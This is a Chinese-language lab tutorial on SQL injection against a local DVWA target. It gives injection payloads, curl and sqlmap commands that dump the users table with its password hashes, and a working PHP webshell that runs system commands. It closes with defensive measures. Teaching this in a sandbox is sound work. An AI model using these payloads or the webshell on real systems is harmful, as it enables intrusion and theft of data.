注意:本文内容仅用于合法授权的安全研究、教学演示及漏洞复现,严禁用于任何未授权的系统或网络环境。
所有操作需在本地沙箱或个人可控靶场中执行,切勿对生产环境、他人系统进行测试,非法使用后果自负。
📌 法律与道德双重声明
本文所涉及的技术与操作流程,核心目的是帮助安全学习者理解SQL注入漏洞的原理、危害及防御方法,仅适用于合法授权的安全测试场景(如个人搭建的DVWA靶场、企业内部授权的安全审计等)。
🚫 严禁以下行为:
- 未经授权对任何第三方系统、网站实施渗透测试或漏洞利用;
- 利用本文技术获取他人数据、破坏系统功能或传播恶意程序;
- 将漏洞利用方法用于违反《网络安全法》《数据安全法》等法律法规的活动。
使用者必须在完全接受本声明的前提下阅读与操作,凡违反上述规定导致的法律责任(如刑事责任、民事赔偿),均由使用者自行承担,作者不承担任何关联责任。
📜 相关法律依据(中国)
- 《中华人民共和国网络安全法》第十二条:禁止任何组织或个人利用网络危害国家安全、损害社会公共利益,或侵犯他人合法权益;
- 《中华人民共和国刑法》第二百八十五条-第二百八十七条:非法入侵计算机信息系统、非法获取计算机信息系统数据、破坏计算机信息系统功能等行为,将依法追究刑事责任;
- 《中华人民共和国数据安全法》第三条、第十七条:数据处理活动需遵循合法、正当、必要原则,严禁非法收集、存储、传输他人数据。
一、实验环境准备:Docker搭建DVWA靶场
DVWA(Damn Vulnerable Web Application)是一款专门用于安全实验的脆弱性Web应用,需通过Docker快速搭建(本地环境,无网络风险)。
1. 安装Docker(以Ubuntu系统为例)
# 更新系统软件源
sudo apt update
# 安装Docker
sudo apt install -y docker.io
2. 拉取并运行DVWA镜像
# 拉取官方DVWA镜像
docker pull vulnerables/web-dvwa
# 启动容器(映射端口7997,--rm表示容器停止后自动删除)
docker run --rm -it -p 7997:80 vulnerables/web-dvwa
3. 访问并初始化靶场
- 打开浏览器,输入地址:
http://localhost:7997
; - 使用默认账号密码登录:
admin / password
; - 点击页面下方的 Create/Reset Database 按钮,完成数据库初始化(初始化后靶场才能正常使用)。
二、SQL注入漏洞测试:布尔注入验证
布尔注入是SQL注入的常见类型,核心原理是通过构造“永真条件”(如OR '1'='1'
),让后台SQL语句返回异常结果,从而判断漏洞是否存在。
1. 构造注入 payload
在DVWA靶场的「SQL Injection」模块中,输入以下内容并提交:
OR '1'='1'
2. 漏洞原理分析
假设后台原始SQL查询语句为:
SELECT * FROM users WHERE password = ''; -- 正常查询(无结果)
当注入OR '1'='1'
后,SQL语句变为:
SELECT * FROM users WHERE password = '' OR '1'='1'; -- 永真条件,返回所有用户数据
3. 测试结果
页面会返回数据库中所有用户的信息(示例如下),证明SQL注入漏洞存在:
ID: 1' OR '1'='1
First name: admin
Surname: admin
ID: 1' OR '1'='1
First name: Gordon
Surname: Brown
ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso
...
三、获取关键Cookie:PHPSESSID与安全级别
SQL注入测试需携带用户会话Cookie(PHPSESSID)和靶场安全级别Cookie(security),否则会被靶场拦截或返回错误结果。
1. 浏览器获取Cookie(可视化方式)
- 打开浏览器开发者工具(F12),切换到「Application」(Chrome)或「存储」(Firefox)标签;
- 在「Cookie」→
http://localhost:7997
下,找到PHPSESSID
和security
两个字段,记录其值(如PHPSESSID=4g1116vseduecrmelkc6od8bi1
,security=low
)。
2. 命令行获取Cookie(curl方式)
通过curl -I
命令发送HEAD请求,从响应头中提取Cookie:
curl -I http://localhost:7997
输出示例(关键信息已标注):
HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; path=/ # 会话ID
Set-Cookie: security=low; path=/ # 靶场安全级别(low为最低,适合测试)
Location: login.php
四、命令行验证注入点:curl工具实战
使用curl
携带Cookie发送注入请求,进一步验证漏洞的可利用性(无需浏览器,适合自动化测试场景)。
1. 构造curl命令
注意:注入语句中的空格需替换为URL编码%20
,避免命令解析错误:
curl -i "http://localhost:7997/vulnerabilities/sqli/?id=1'%20OR%20'1'='1'&Submit=Submit" \
-H "Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"
2. 命令说明
-i
:显示响应头和响应体;-H "Cookie: ..."
:携带会话Cookie,模拟已登录状态;id=1'%20OR%20'1'='1'
:注入 payload,构造永真条件。
3. 验证结果
若响应体中包含所有用户数据(如admin
、Gordon
等用户名),则证明注入点有效。
五、自动化探测注入类型:sqlmap工具使用
sqlmap是一款开源的SQL注入自动化工具,可自动探测注入类型(如布尔注入、时间盲注、UNION注入等),减少手动测试成本。
1. 探测注入类型命令
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
-p id --batch --level=2 --risk=1
2. 命令参数说明
-u
:指定测试URL;--cookie
:携带会话Cookie;-p id
:指定测试参数为id
;--batch
:自动选择默认选项,无需手动交互;--level=2
:测试级别(1-5,级别越高测试越全面);--risk=1
:风险级别(1-3,风险越高越可能触发目标防御机制)。
3. 探测结果
sqlmap会输出注入类型(如“Boolean-based blind - Parameter: id”),并确认漏洞可利用。
六、漏洞利用:获取数据库与表结构
通过sqlmap进一步获取靶场数据库的详细信息,理解注入漏洞的危害范围。
1. 获取所有数据库列表
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
--dbs -p id --batch
输出会包含靶场的数据库(如dvwa
、information_schema
等),其中dvwa
是DVWA应用的核心数据库。
2. 获取dvwa数据库的表结构
指定-D dvwa
参数,查询dvwa
数据库下的所有表:
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
-D dvwa --tables -p id --batch
输出会包含users
表(存储用户账号密码)、guestbook
表(留言数据)等,其中users
表是核心目标。
3. 查询users表数据(获取账号密码)
通过--sql-query
执行自定义SQL,读取users
表的所有数据:
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
--sql-query="SELECT * FROM dvwa.users;" -p id --batch
输出会包含所有用户的id
、username
、password
(MD5加密)等信息,证明注入可导致敏感数据泄露。
七、风险延伸:WebShell植入演示(仅限受控环境)
SQL注入的严重危害之一是“写入文件”——若数据库权限足够,可通过注入语句向Web目录写入WebShell,实现对服务器的远程控制(此操作仅在个人靶场演示,严禁用于其他场景)。
1. PHP WebShell示例代码
<?php
// 简单WebShell(通过GET参数cmd执行系统命令)
if (isset($_REQUEST['cmd'])) {
echo "<pre>"; // 格式化输出命令结果
system($_REQUEST['cmd']); // 执行系统命令
echo "</pre>";
}
?>
2. 植入原理(补充说明)
在实际漏洞利用中,需通过SQL注入的INTO OUTFILE
语句将上述代码写入Web目录(如/var/www/html/shell.php
),但DVWA默认配置可能限制文件写入权限,此处仅作原理演示,不提供具体注入命令(避免滥用)。
八、安全启示:SQL注入防御方案
通过本次实验,可清晰看到SQL注入的危害链路:漏洞验证 → 数据泄露 → 权限提升 → 服务器控制。防御需从“代码、配置、运维”三层面入手:
1. 代码层面:杜绝注入根源
- 使用预编译SQL(参数化查询):将SQL语句与参数分离,避免用户输入直接拼接进SQL(如Java的PreparedStatement、Python的pymysql参数化);
- 输入过滤与转义:对用户输入的特殊字符(如
'
、;
、OR
)进行转义或过滤,限制输入格式; - 使用ORM框架:如MyBatis、Hibernate等,框架自带注入防护机制,减少手动编码风险。
2. 配置层面:降低漏洞影响
- 数据库最小权限原则:Web应用使用的数据库账号仅授予“必要权限”(如SELECT、INSERT),禁止授予
FILE
(文件写入)、DROP
(删除表)等高危权限; - 限制Web目录权限:禁止Web服务器对Web目录拥有“写入权限”,防止WebShell植入;
- 隐藏敏感信息:禁用数据库错误信息回显(如PHP的
display_errors = Off
),避免泄露SQL语句结构。
3. 运维层面:持续监控与响应
- 定期漏洞扫描:使用工具(如Nessus、AWVS)定期扫描Web应用,及时发现注入等漏洞;
- 日志审计:记录SQL执行日志、Web访问日志,异常操作(如大量包含
OR '1'='1
的请求)及时告警; - 及时更新补丁:定期更新Web服务器、数据库、应用框架的补丁,修复已知漏洞。
📣 最终声明(再次强调)
本文所有操作均在本地沙箱环境中完成,使用的DVWA靶场是专门用于安全实验的开源项目,无任何实际网络危害。
技术本身无善恶,但其使用边界必须严格遵守法律法规与道德准则。作为安全学习者,应始终牢记:
- 所有安全测试必须获得明确书面授权;
- 不得利用技术侵犯他人权益或破坏网络安全;
- 以“防御”为核心目标,通过漏洞测试推动系统安全加固。
若有人违反上述原则,滥用本文技术实施违法犯罪行为,一切法律责任与后果均由其自行承担,作者不承担任何关联责任。
希望本文能帮助大家深入理解SQL注入漏洞,提升安全防护意识,共同维护健康的网络环境!